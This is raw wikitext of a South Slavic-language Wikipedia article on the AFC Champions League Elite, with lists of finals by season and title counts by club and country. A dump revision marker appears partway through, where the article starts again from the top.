|align=center|'''3 - 0'''{{efn|[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] pobijedio je u finalu, zakazanom za 2. travnja [[1971]] u [[Bangkok]]u, zbog povlačenja [[Al-Shorta]] iz političkih razloga.<ref>[http://www.rsssf.com/tablesa/ascup71.html#cc izvor: Champions' Cup 1971, RSSSF].</ref>}} |{{flagicon|IRQ}} [[Al Shorta]] |-bgcolor=#f5faff |align=center|1972 | colspan="3" align="center" |''Otkazano''{{efn|Natjecanje je bilo organizirano, ali nije odigrano.<ref>[http://www.rsssf.com/tablesa/ascup72.html#cc izvor: Champions' Cup 1972, RSSSF].</ref>}} |- ! colspan=4|Asian Club Championship |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1985.|1985-1986]] |{{flagicon|KOR}} '''[[Busan IPark]]''' |align=center|'''3 - 1''' |{{flagicon|SAU}} [[Al-Ahli Saudi FC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1986.|1986-1987]] |{{flagicon|JPN}} '''[[Furukawa Electric]]''' |align=center|Liga sustav{{efn|Pobjednik završnog kruga, organiziranog po ligaškom sustavu.<ref>[http://www.rsssf.com/tablesa/ascup87.html Asian Champions' Cup 1986/87] na [[RSSSF]]</ref>}} |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1987.-1988.|1987-1988]] |{{flagicon|JPN}} '''[[Yomiuri]]''' |align=center|''Nije odigrano''{{efn|Finale, planirano kao dvomeč, pripalo je [[Tokyo Verdy 1969|Yomiuri]]ju službenim putem zbog ranog povlačenja [[Al-Hilal Saudi Club|Al-Hilal]]a.<ref>[http://www.rsssf.com/tablesa/ascup88.html#cc izvor: Champions' Cup 1987/88, RSSSF].</ref>}} |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1988.-1989.|1988-1989]] |{{flagicon|QAT}} '''[[Al-Sadd Sports Club|Al Sadd]]''' |align=center|<small>2 - 3 / 1 - 0</small> <br/> '''3-3'''{{efn|Pravilo gola u gostima.}} |{{flagicon|IRQ}} [[Al-Rasheed]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1989.-1990.|1989-1990]] |{{flagicon|CHN}} '''[[Liaoning FC|Liaoning]]''' |align=center|<small>2 - 1 / 1 - 1</small> <br/> '''3-2''' |{{flagicon|JPN}} [[Yokohama F·Marinos|Nissan Motors]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1990.-1991.|1990-1991]] |{{flagicon|IRN}} '''[[Esteglal Teheran]]''' |align=center|'''2 - 1''' |{{flagicon|CHN}} [[Liaoning FC|Liaoning]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1991.-1992.|1991-1992]] |{{flagicon|SAU}} '''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''1 - 1 (p. p.)''' |{{flagicon|IRN}} [[Esteglal Teheran]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1992.-1993.|1992-1993]] |{{flagicon|IRN}} '''[[PAS Teheran]]''' |align=center|'''1 - 0''' |{{flagicon|SAU}} [[Al Shabab]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1993.-1994.|1993-1994]] |{{flagicon|THA}}'''[[Thai Farmers Bank FC|Thai Farmers Bank]]''' |align=center|'''2 - 1''' |{{flagicon|OMN}} [[Oman Club]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1994.-1995.|1994-1995]] |{{flagicon|THA}}'''[[Thai Farmers Bank FC|Thai Farmers Bank]]''' |align=center|'''1 - 0''' |{{flagicon|QAT}} [[Al Arabi]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1995.|1995]] |{{flagicon|KOR}}'''[[Ilhwa Chunma]]''' |align=center|'''1 - 0''' |{{flagicon|SAU}} [[Al Nassr]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1996.-1997.|1996-1997]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''2 - 1''' |{{flagicon|KOR}} [[Ilhwa Chunma]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1997.-1998.|1997-1998]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''0 - 0 (p. p.)''' |{{flagicon|CHN}} [[Dalian Shide]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1998.-1999.|1998-1999]] |{{flagicon|JPN}}'''[[Jubilo]]''' |align=center|'''2 - 1''' |{{flagicon|IRN}} [[Esteglal Teheran]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1999.-2000.|1999-2000]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''3 - 2''' |{{flagicon|JPN}} [[Jubilo]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 2000.-2001.|2000-2001]] |{{flagicon|KOR}}'''[[Suwon Bluewings]]''' |align=center|'''2 - 1''' |{{flagicon|JPN}} [[Jubilo]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 2001.-2002.|2001-2002]] |{{flagicon|KOR}}'''[[Suwon Bluewings]]''' |align=center|'''0 - 0 (p. p.)''' |{{flagicon|KOR}} [[Anyang LG Cheetahs]] |- ! colspan=4|AFC Liga prvaka |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2002.-2003.|2002-2003]] |{{flagicon|ARE}} '''[[Al-Ain Sports and Cultural Club|Al Ain]]''' |align=center|<small>2 - 0 / 0 - 1</small> <br/> '''2-1''' |{{flagicon|THA}} [[BEC Tero Sasana]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2004.|2004]] |{{flagicon|SAU}}'''[[Al Ittihad]]''' |align=center|<small>5 - 0 / 1 - 3</small> <br/> '''6-3''' |{{flagicon|KOR}} [[Ilhwa Chunma]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2005.|2005]] |{{flagicon|SAU}}'''[[Al Ittihad]]''' |align=center|<small>1 - 1 / 4 - 2</small> <br/> '''5-3''' |{{flagicon|ARE}} [[Al-Ain Sports and Cultural Club|Al Ain]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2006.|2006]] |{{flagicon|KOR}}'''[[Jeonbuk Hyundai Motors]]''' |align=center|<small>2 - 0 / 1 - 2</small> <br/> '''3-2''' |{{flagicon|SYR|1980-2024}} [[Al-Karamah]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2007.|2007]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' |align=center|<small>1 - 1 / 2 - 0</small> <br/> '''3-1''' |{{flagicon|IRN}} [[Sepahan Isfahan]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2008.|2008]] |{{flagicon|JPN}}'''[[Gamba Osaka|Gamba]]''' |align=center|<small>3 - 0 / 2 - 0</small> <br/> '''5-0''' |{{flagicon|AUS}} [[Adelaide United]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2009.|2009]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''2 - 1''' |{{flagicon|SAU}} [[Al Ittihad]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2010.|2010]] |{{flagicon|KOR}}'''[[Ilhwa Chunma]]''' |align=center|'''2 - 1''' |{{flagicon|IRN}} [[Zob-Ahan Isfahan]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2011.|2011]] |{{flagicon|QAT}}'''[[Al-Sadd Sports Club|Al Sadd]]''' |align=center|'''2 - 2 (p. p.)''' |{{flagicon|KOR}} [[Jeonbuk Hyundai Motors]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2012.|2012]] |{{flagicon|KOR}}'''[[Ulsan Hyundai]]''' |align=center|'''3 - 0''' |{{flagicon|SAU}} [[Al-Ahli Saudi FC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2013.|2013]] |{{flagicon|CHN}}'''[[Guangzhou Evergrande]]''' |align=center|<small>2 - 2 / 1 - 1</small> <br/> '''3-2 {{gfc}}''' |{{flagicon|KOR}} [[FC Seoul]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2014.|2014]] |{{flagicon|AUS}}'''[[Western Sydney Wanderers]]''' |align=center|<small>1 - 0 / 0 - 0</small> <br/> '''1-0''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2015.|2015]] |{{flagicon|CHN}}'''[[Guangzhou Evergrande]]''' |align=center|<small>0 - 0 / 1 - 0</small> <br/> '''1-0''' |{{flagicon|ARE}} [[Al Ahli Dubai FC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2016.|2016]] |{{flagicon|KOR}}'''[[Jeonbuk Hyundai Motors]]''' |align=center|<small>2 - 1 / 1 - 1</small> <br/> '''3-2''' |{{flagicon|ARE}} [[Al-Ain Sports and Cultural Club|Al Ain]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2017.|2017]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' |align=center|<small>1 - 1 / 1 - 0</small> <br/> '''2-1''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2018.|2018]] |{{flagicon|JPN}}'''[[Kashima Antlers]]''' |align=center|<small>2 - 0 / 0 - 0</small> <br/> '''2-0''' |{{flagicon|IRN}} [[Persepolis Teheran]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2019.|2019]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|<small>1 - 0 / 2 - 0</small> <br/> '''3-0''' |{{flagicon|JPN}} [[Urawa Red Diamonds]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2020.|2020]] |{{flagicon|KOR}}'''[[Ulsan Hyundai]]''' |align=center|'''2 - 0 ''' |{{flagicon|IRN}} [[Persepolis Teheran]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2021.|2021]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''2 - 0 ''' |{{flagicon|KOR}} [[FC Pohang Steelers|Pohang Steelers]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2022.|2022]] |{{flagicon|JPN}}'''[[Urawa Red Diamonds]]''' (3) |align=center|<small>1 - 1 / 1 - 0</small> <br/> '''2-1''' |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2023.-2024.|2023-2024]] |{{flagicon|ARE}}'''[[Al-Ain Sports and Cultural Club|Al Ain]]''' |align=center|<small>1 - 2 / 5 - 1</small> <br/> '''6-3''' |{{flagicon|JPN}} [[Yokohama Marinos]] |- ! colspan=4|AFC Liga prvaka Elite |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka Elite 2024.-2025.|2024-2025]] |{{flagicon|SAU}} '''[[Al-Ahli Saudi FC]]''' |align=center|'''2-0''' |{{flagicon|JPN}} [[Kawasaki Frontale]] |- |} == Statistike == === Pobjede po klubu === {| class="toccolours sortable" style="border-collapse:collapse; margin-left:0.5em; margin-bottom:0.5em" border=1 cellpadding=2 cellspacing=0 |- bgcolor="efefef" ! Klub ! Država ! Naslovi ! Sezone |- | [[Al-Hilal Saudi Club|Al-Hilal SC]] | {{flag|SAU}} | align="center" | '''4''' | align="left" | [[Azijsko klupsko prvenstvo 1991.-1992.|1991-92]], [[Azijsko klupsko prvenstvo 1999.-2000.|1999-00]], [[AFC Liga prvaka 2019.|2019]], [[AFC Liga prvaka 2021.|2021]] |- | [[FC Pohang Steelers|Pohang Steelers]] | {{flag|KOR}} | align="center"| '''3''' | align="left"| [[Azijsko klupsko prvenstvo 1996.-1997.|1996-97]], [[Azijsko klupsko prvenstvo 1997.-1998.|1997-98]], [[AFC Liga prvaka 2009.|2009]] |- | [[Urawa Red Diamonds|Red Diamonds]] | {{flag|JPN}} | align="center"| '''3''' | align="left"| [[AFC Liga prvaka 2007.|2007]], [[AFC Liga prvaka 2017.|2017]], [[AFC Liga prvaka 2022.|2022]] |- | [[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] | {{flag|ISR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1969.|1969]], [[Azijsko klupsko prvenstvo 1971.|1971]] |- | [[Esteglal Teheran]] | {{flag|IRN}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1970.|1970]], [[Azijsko klupsko prvenstvo 1990.-1991.|1990-91]] |- | [[Al-Sadd Sports Club|Al Sadd]] | {{flag|QAT}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1988.-1989.|1988-89]], [[AFC Liga prvaka 2011.|2011]] |- | [[Thai Farmers Bank FC|Thai Farmers Bank]] | {{flag|THA}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1993.-1994.|1993-94]], [[Azijsko klupsko prvenstvo 1994.-1995.|1994-95]] |- | [[Suwon Bluewings]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 2000.-2001.|2000-01]], [[Azijsko klupsko prvenstvo 2001.-2002.|2001-02]] |- | [[Al Ittihad]] | {{flag|SAU}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2004.|2004]], [[AFC Liga prvaka 2005.|2005]] |- | [[Ilhwa Chunma]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[Azijsko klupsko prvenstvo 1995.-1996.|1995-96]], [[AFC Liga prvaka 2010.|2010]] |- | [[Guangzhou Evergrande]] | {{flag|CHN}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2013.|2013]], [[AFC Liga prvaka 2015.|2015]] |- | [[Jeonbuk Hyundai Motors]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2006.|2006]], [[AFC Liga prvaka 2016.|2016]] |- | [[Ulsan Hyundai]] | {{flag|KOR}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2012.|2012]], [[AFC Liga prvaka 2020.|2020]] |- | [[Al-Ain Sports and Cultural Club|Al Ain]] | {{flag|ARE}} | align="center"| '''2''' | align="left"| [[AFC Liga prvaka 2002.-2003.|2002-03]], [[AFC Liga prvaka 2023.-2024.|2023-24]] |- | [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] | {{flag|ISR}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1967.|1967]] |- | [[Busan IPark]] | {{flag|KOR}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1984.-1985.|1984-85]] |- | [[Furukawa Electric]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1986.|1986]] |- | [[Yomiuri]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1987.-1988.|1987-88]] |- | [[Liaoning FC|Liaoning]] | {{flag|CHN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1989.-1990.|1989-90]] |- | [[PAS Teheran]] | {{flag|IRN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1992.-1993.|1992-93]] |- | [[Jubilo]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[Azijsko klupsko prvenstvo 1998.-1999.|1998-99]] |- | [[Gamba Osaka|Gamba]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2008.|2008]] |- | [[Western Sydney Wanderers]] | {{flag|AUS}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2014.|2014]] |- | [[Antlers]] | {{flag|JPN}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka 2018.|2018]] |- | [[Al-Ahli Saudi FC]] | {{flag|SAU}} | align="center"| '''1''' | align="left"| [[AFC Liga prvaka Elite 2024.-2025.|2024-25]] |}{{clear}} === Naslovi po državama === {| class="wikitable sortable" |- ! Država ! Pobjede ! Finala ! Klubovi prvaci ! Klubovi finalisti |- | {{flag|KOR}} |align=center| '''12''' |align=center| 7 | [[FC Pohang Steelers|Pohang Steelers]] (3)<br />[[Ilhwa Chunma]] (2)<br />[[Suwon Bluewings]] (2)<br />[[Jeonbuk Hyundai Motors]] (2)<br />[[Ulsan Hyundai]] (2)<br />[[Busan IPark]] (1) | [[Ilhwa Chunma]] (2)<br />[[FC Seoul]] (2)<br />[[Jeonbuk Hyundai Motors]] (1)<br />[[Yangzee]] (1)<br />[[FC Pohang Steelers|Pohang Steelers]] (1) |- | {{flag|JPN}} |align=center| '''8''' |align=center| 6 | [[Urawa Red Diamonds|Red Diamonds]] (3)<br />[[Furukawa Electric]] (1)<br />[[Yomiuri]] (1)<br />[[Gamba Osaka|Gamba]] (1)<br />[[Jubilo]] (1)<br />[[Antlers]] (1) | [[Jubilo]] (2)<br />[[Yokohama Marinos]] (2)<br />[[Urawa Red Diamonds|Red Diamonds]] (1)<br />[[Kawasaki Frontale]] (1) |- | {{flag|SAU}} |align=center| '''7''' |align=center| 10 | [[Al-Hilal Saudi Club|Al-Hilal SC]] (4)<br />[[Al Ittihad]] (2)<br />[[Al-Ahli Saudi FC]] (1) | [[Al-Hilal Saudi Club|Al-Hilal SC]] (5)<br />[[Al-Ahli Saudi FC]] (2)<br />[[Al Ittihad]] (1)<br />[[Al Nassr]] (1)<br />[[Al Shabab]] (1) |- | {{flag|IRN}} |align=center| '''3''' |align=center| 6 | [[Esteglal Teheran]] (2)<br />[[PAS Teheran]] (1) | [[Esteglal Teheran]] (2)<br />[[Persepolis Teheran]] (2)<br />[[Sepahan Isfahan]] (1)<br />[[Zob-Ahan Isfahan]] (1) |- | {{flag|CHN}} |align=center| '''3''' |align=center| 2 | [[Guangzhou Evergrande]] (2)<br />[[Liaoning FC|Liaoning]] (1) | [[Liaoning FC|Liaoning]] (1)<br />[[Dalian Shide]] (1) |- | ''{{flag|ISR}}''{{efn|Od [[1974]] nije više član AFC-a.}} |align=center| '''3''' |align=center| 1 | [[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] (2)<br />[[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] (1) | [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] (1) |- | {{flag|ARE}} |align=center| '''2''' |align=center| 3 | [[Al-Ain Sports and Cultural Club|Al Ain]] (2) | [[Al-Ain Sports and Cultural Club|Al Ain]] (2)<br />[[Al Ahli Dubai FC]] (1) |- | {{flag|QAT}} |align=center| '''2''' |align=center| 1 | [[Al-Sadd Sports Club|Al Sadd]] (2) | [[Al Arabi]] (1) |- | {{flag|THA}} |align=center| '''2''' |align=center| 1 | [[Thai Farmers Bank FC|Thai Farmers Bank]] (2) | [[Police Tero]] (1) |- | {{flag|AUS}} |align=center| '''1''' |align=center| 1 | [[Western Sydney Wanderers]] (1) | [[Adelaide United]] (1) |- | {{flag|IRQ}} |align=center| 0 |align=center| 2 | align=center| - | [[Al Shorta]] (1)<br />[[Al Rasheed]] (1) |- | {{flag|MYS}} |align=center| 0 |align=center| 1 | align=center| - | [[Selangor]] (1) |- | {{flag|OMN}} |align=center| 0 |align=center| 1 | align=center| - | [[Oman Club]] (1) |- | {{flag|SYR}} |align=center| 0 |align=center| 1 | align=center| - | [[Al Karamah]] (1) |} == Napomene == {{notelist}} == Reference == {{reflist}} == Povezano == * [[AFC Champions League Two]] * [[AFC Challenge League]] {{Normativna kontrola}} [[Kategorija:Međunarodna klupska fudbalska takmičenja]] cnd0us8131ehfigr4h355p69guuq9t0 42602694 42602692 2026-05-28T07:58:48Z ~2026-31799-49 358217 Lektura 42602694 wikitext text/x-wiki {{Infokurija Sportsko natjecanje | ime = Liga prvaka AFC | izvorni naziv = AFC Champions League Elite | logo = | veličina = | opis = | utemeljeno = [[1967.]] | regija =[[Azija]] | momčadi = 32 <small>(završnica)</small> | aktualni prvak = {{nowrap|{{flagicon|SAU}} [[Al-Ahli Saudi FC]] <small>(2. naslov)</small>}} | najuspješnija momčad = {{nowrap|{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] <small>(4 naslova)</small>}} | geslo = }} '''Liga prvaka AFC''' odnosno '''AFC Champions League Elite''' (skraćeno '''ACL Elite''') je godišnje kontinentalno fudbalsko prvenstvo za klupske momčadi, koje organizira [[Azijska fudbalska konfederacija]] (AFC), a u kojem sudjeluju klubovi iz najviših liga [[Azija|azijskih]] zemalja. To je najprestižnije klupsko natjecanje azijskog fudbala, u kojem igraju prvaci državnih liga – u nekim državama i više klubova svojih saveza. Uvedena je [[1967.]] pod nazivom ''Asian Champion Club Tournament'', a [[2002.]] godine preimenovano je u ''AFC Champions League'' nakon spajanja triju prijašnjih natjecanja – Azijskog kupa pobjednika kupova, Azijskog klupskog prvenstva i Azijskog superkupa – te je pod tim imenom održavano sve do [[2024.]], kada je dobilo sadašnji naziv. Ukupno 24 kluba sudjeluje u ligaškoj fazi natjecanja, podijeljeni u regije Istok i Zapad (po 12 momčadi). Pobjednik AFC Champions League Elite kvalificira se za FIFA-ine Međukontinentalni kup i Svjetsko klupsko prvenstvo, a također stječe pravo nastupa i u sljedećem izdanju ligaške faze AFC Champions League Elite, ako se već nije kvalificirao putem domaćih rezultata. Najuspješniji klub u historiji prvenstva je [[Al-Hilal Saudi Club|Al-Hilal]] s ukupno četiri osvojena naslova. Trenutačni prvak je Al-Ahli, koji je u finalu [[2025.]] pobijedio [[Kawasaki Frontale]]. == Zlatna knjiga == {| class="wikitable" width="70%" |- ! style="width:7%;"|Godina ! style="width:15%;"|Pobjednik ! style="width:10%;"|Rezultat ! style="width:15%;"|Drugo mjesto |- ! colspan=4|Asian Champion Club Tournament |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1967.|1967]] |{{flagicon|ISR}} '''[[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]]''' |align=center|'''2 - 1''' |{{flagicon|MYS}} [[Selangor]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1969.|1969]] |{{flagicon|ISR}} '''[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]]''' |align=center|'''1 - 0 ''' |{{flagicon|KOR}} [[Yangzee]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1970.|1970]] |{{flagicon|IRN}} '''[[Esteglal Teheran|Taj]]''' |align=center|'''2 - 1 ''' |{{flagicon|ISR}} [[Hapoel Tel-Aviv FC|Hapoel Tel Aviv]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1971.|1971]] |{{flagicon|ISR}} '''[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]]''' |align=center|'''3 - 0'''{{efn|[[MK Maccabi Tel Aviv|Maccabi Tel Aviv]] pobijedio je u finalu, zakazanom za 2. travnja [[1971]] u [[Bangkok]]u, zbog povlačenja [[Al-Shorta]] iz političkih razloga.<ref>[http://www.rsssf.com/tablesa/ascup71.html#cc izvor: Champions' Cup 1971, RSSSF].</ref>}} |{{flagicon|IRQ}} [[Al Shorta]] |-bgcolor=#f5faff |align=center|1972 | colspan="3" align="center" |''Otkazano''{{efn|Natjecanje je bilo organizirano, ali nije odigrano.<ref>[http://www.rsssf.com/tablesa/ascup72.html#cc izvor: Champions' Cup 1972, RSSSF].</ref>}} |- ! colspan=4|Asian Club Championship |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1985.|1985-1986]] |{{flagicon|KOR}} '''[[Busan IPark]]''' |align=center|'''3 - 1''' |{{flagicon|SAU}} [[Al-Ahli Saudi FC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1986.|1986-1987]] |{{flagicon|JPN}} '''[[Furukawa Electric]]''' |align=center|Liga sustav{{efn|Pobjednik završnog kruga, organiziranog po ligaškom sustavu.<ref>[http://www.rsssf.com/tablesa/ascup87.html Asian Champions' Cup 1986/87] na [[RSSSF]]</ref>}} |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1987.-1988.|1987-1988]] |{{flagicon|JPN}} '''[[Yomiuri]]''' |align=center|''Nije odigrano''{{efn|Finale, planirano kao dvomeč, pripalo je [[Tokyo Verdy 1969|Yomiuri]]ju službenim putem zbog ranog povlačenja [[Al-Hilal Saudi Club|Al-Hilal]]a.<ref>[http://www.rsssf.com/tablesa/ascup88.html#cc izvor: Champions' Cup 1987/88, RSSSF].</ref>}} |{{flagicon|SAU}} [[Al-Hilal Saudi Club|Al-Hilal SC]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1988.-1989.|1988-1989]] |{{flagicon|QAT}} '''[[Al-Sadd Sports Club|Al Sadd]]''' |align=center|<small>2 - 3 / 1 - 0</small> <br/> '''3-3'''{{efn|Pravilo gola u gostima.}} |{{flagicon|IRQ}} [[Al-Rasheed]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1989.-1990.|1989-1990]] |{{flagicon|CHN}} '''[[Liaoning FC|Liaoning]]''' |align=center|<small>2 - 1 / 1 - 1</small> <br/> '''3-2''' |{{flagicon|JPN}} [[Yokohama F·Marinos|Nissan Motors]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1990.-1991.|1990-1991]] |{{flagicon|IRN}} '''[[Esteglal Teheran]]''' |align=center|'''2 - 1''' |{{flagicon|CHN}} [[Liaoning FC|Liaoning]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1991.-1992.|1991-1992]] |{{flagicon|SAU}} '''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''1 - 1 (p. p.)''' |{{flagicon|IRN}} [[Esteglal Teheran]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1992.-1993.|1992-1993]] |{{flagicon|IRN}} '''[[PAS Teheran]]''' |align=center|'''1 - 0''' |{{flagicon|SAU}} [[Al Shabab]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1993.-1994.|1993-1994]] |{{flagicon|THA}}'''[[Thai Farmers Bank FC|Thai Farmers Bank]]''' |align=center|'''2 - 1''' |{{flagicon|OMN}} [[Oman Club]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1994.-1995.|1994-1995]] |{{flagicon|THA}}'''[[Thai Farmers Bank FC|Thai Farmers Bank]]''' |align=center|'''1 - 0''' |{{flagicon|QAT}} [[Al Arabi]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1995.|1995]] |{{flagicon|KOR}}'''[[Ilhwa Chunma]]''' |align=center|'''1 - 0''' |{{flagicon|SAU}} [[Al Nassr]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1996.-1997.|1996-1997]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''2 - 1''' |{{flagicon|KOR}} [[Ilhwa Chunma]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1997.-1998.|1997-1998]] |{{flagicon|KOR}}'''[[FC Pohang Steelers|Pohang Steelers]]''' |align=center|'''0 - 0 (p. p.)''' |{{flagicon|CHN}} [[Dalian Shide]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1998.-1999.|1998-1999]] |{{flagicon|JPN}}'''[[Jubilo]]''' |align=center|'''2 - 1''' |{{flagicon|IRN}} [[Esteglal Teheran]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 1999.-2000.|1999-2000]] |{{flagicon|SAU}}'''[[Al-Hilal Saudi Club|Al-Hilal SC]]''' |align=center|'''3 - 2''' |{{flagicon|JPN}} [[Jubilo]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 2000.-2001.|2000-2001]] |{{flagicon|KOR}}'''[[Suwon Bluewings]]''' |align=center|'''2 - 1''' |{{flagicon|JPN}} [[Jubilo]] |-bgcolor=#f5faff |align=center|[[Azijsko klupsko prvenstvo 2001.-2002.|2001-2002]] |{{flagicon|KOR}}'''[[Suwon Bluewings]]''' |align=center|'''0 - 0 (p. p.)''' |{{flagicon|KOR}} [[Anyang LG Cheetahs]] |- ! colspan=4|AFC Liga prvaka |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2002.-2003.|2002-2003]] |{{flagicon|ARE}} '''[[Al-Ain Sports and Cultural Club|Al Ain]]''' |align=center|<small>2 - 0 / 0 - 1</small> <br/> '''2-1''' |{{flagicon|THA}} [[BEC Tero Sasana]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2004.|2004]] |{{flagicon|SAU}}'''[[Al Ittihad]]''' |align=center|<small>5 - 0 / 1 - 3</small> <br/> '''6-3''' |{{flagicon|KOR}} [[Ilhwa Chunma]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2005.|2005]] |{{flagicon|SAU}}'''[[Al Ittihad]]''' |align=center|<small>1 - 1 / 4 - 2</small> <br/> '''5-3''' |{{flagicon|ARE}} [[Al-Ain Sports and Cultural Club|Al Ain]] |-bgcolor=#f5faff |align=center|[[AFC Liga prvaka 2006.|2006]] 